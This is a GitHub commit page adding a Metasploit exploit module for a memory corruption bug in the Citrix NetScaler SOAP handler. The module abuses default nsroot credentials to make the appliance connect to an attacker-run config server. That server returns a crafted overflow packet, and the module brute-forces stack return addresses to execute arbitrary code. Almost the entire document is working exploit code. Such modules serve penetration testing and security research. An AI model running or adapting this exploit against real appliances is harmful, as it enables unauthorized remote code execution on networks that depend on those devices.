Skip to content

Commit f7e308c

Browse files
committed
Land rapid7#4110 - Citrix Netscaler BoF
2 parents 861443d + 40bf44b commit f7e308c

File tree

1 file changed

+167
-0
lines changed

1 file changed

+167
-0
lines changed
Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Remote::TcpServer
13+
include Msf::Exploit::Brute
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Citrix NetScaler SOAP Handler Remote Code Execution",
18+
'Description' => %q{
19+
This module exploits a memory corruption vulnerability on the Citrix NetScaler Appliance.
20+
The vulnerability exists in the SOAP handler, accessible through the web interface. A
21+
malicious SOAP requests can force the handler to connect to a malicious NetScaler config
22+
server. This malicious config server can send a specially crafted response in order to
23+
trigger a memory corruption and overwrite data in the stack, to finally execute arbitrary
24+
code with the privileges of the web server running the SOAP handler. This module has been
25+
tested successfully on the NetScaler Virtual Appliance 450010.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Bradley Austin', # Vulnerability Discovery and PoC
31+
'juan vazquez' # Metasploit module
32+
],
33+
'References' =>
34+
[
35+
['URL', 'http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html']
36+
],
37+
'Payload' =>
38+
{
39+
'Space' => 1024,
40+
'MinNops' => 512,
41+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
42+
},
43+
'Arch' => ARCH_X86,
44+
'Platform' => 'bsd',
45+
'Stance' => Msf::Exploit::Stance::Aggressive,
46+
'Targets' =>
47+
[
48+
[ 'NetScaler Virtual Appliance 450010',
49+
{
50+
'RwPtr' => 0x80b9000, # apache2 rw address / Since this target is a virtual appliance, has sense.
51+
'Offset' => 606,
52+
'Ret' => 0xffffda94, # Try before bruteforce...
53+
# The virtual appliance lacks of security mitigations like DEP/ASLR, since the
54+
# process being exploited is an apache child, the bruteforce attack works fine
55+
# here.
56+
'Bruteforce' =>
57+
{
58+
'Start' => { 'Ret' => 0xffffec00 }, # bottom of the stack
59+
'Stop' => { 'Ret' => 0xfffdf000 }, # top of the stack
60+
'Step' => 256
61+
}
62+
}
63+
],
64+
],
65+
'DisclosureDate' => "Sep 22 2014",
66+
'DefaultTarget' => 0))
67+
68+
register_options(
69+
[
70+
OptString.new('TARGETURI', [true, 'The base path to the soap handler', '/soap']),
71+
OptAddress.new('SRVHOST', [true, "The local host to listen on. This must be an address on the local machine reachable by the target", ]),
72+
OptPort.new('SRVPORT', [true, "The local port to listen on.", 3010])
73+
], self.class)
74+
end
75+
76+
77+
def check
78+
res = send_request_cgi({
79+
'method' => 'GET',
80+
'uri' => normalize_uri(target_uri.path)
81+
})
82+
83+
if res && res.code == 200 && res.body && res.body =~ /Server Request Handler.*No body received/m
84+
return Exploit::CheckCode::Detected
85+
end
86+
87+
Exploit::CheckCode::Unknown
88+
end
89+
90+
def exploit
91+
if ['0.0.0.0', '127.0.0.1'].include?(datastore['SRVHOST'])
92+
fail_with(Failure::BadConfig, 'Bad SRVHOST, use an address on the local machine reachable by the target')
93+
end
94+
95+
if check != Exploit::CheckCode::Detected
96+
fail_with(Failure::NoTarget, "#{peer} - SOAP endpoint not found")
97+
end
98+
99+
start_service
100+
101+
if target.ret
102+
@curr_ret = target.ret
103+
send_request_soap
104+
Rex.sleep(3)
105+
106+
if session_created?
107+
return
108+
end
109+
end
110+
111+
super
112+
end
113+
114+
def brute_exploit(addrs)
115+
@curr_ret = addrs['Ret']
116+
send_request_soap
117+
end
118+
119+
def send_request_soap
120+
soap = <<-EOS
121+
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
122+
<SOAP-ENV:Body>
123+
<ns7744:login xmlns:ns7744="urn:NSConfig">
124+
<username xsi:type="xsd:string">nsroot</username>
125+
<password xsi:type="xsd:string">nsroot</password>
126+
<clientip xsi:type="xsd:string">#{datastore['SRVHOST']}</clientip>
127+
<cookieTimeout xsi:type="xsd:int">1800</cookieTimeout>
128+
<ns xsi:type="xsd:string">#{datastore['SRVHOST']}</ns>
129+
</ns7744:login>
130+
</SOAP-ENV:Body>
131+
</SOAP-ENV:Envelope>
132+
EOS
133+
134+
print_status("#{peer} - Sending soap request...")
135+
136+
send_request_cgi({
137+
'method' => 'POST',
138+
'uri' => normalize_uri(target_uri.path),
139+
'data' => soap
140+
}, 1)
141+
end
142+
143+
def on_client_data(c)
144+
print_status("#{c.peerhost} - Getting request...")
145+
146+
data = c.get_once(2)
147+
req_length = data.unpack("v")[0]
148+
149+
req_data = c.get_once(req_length - 2)
150+
unless req_data.unpack("V")[0] == 0xa5a50000
151+
print_error("#{c.peerhost} - Incorrect request... sending payload anyway")
152+
end
153+
154+
print_status("#{c.peerhost} - Sending #{payload.encoded.length} bytes payload with ret 0x#{@curr_ret.to_s(16)}...")
155+
156+
my_payload = Rex::Text.pattern_create(target['Offset'])
157+
my_payload << [@curr_ret, target['RwPtr']].pack("V*")
158+
my_payload << payload.encoded
159+
160+
pkt = [my_payload.length + 6].pack("v")
161+
pkt << "\x00\x00\xa5\xa5"
162+
pkt << my_payload
163+
c.put(pkt)
164+
c.disconnect
165+
end
166+
167+
end

0 commit comments

Comments
 (0)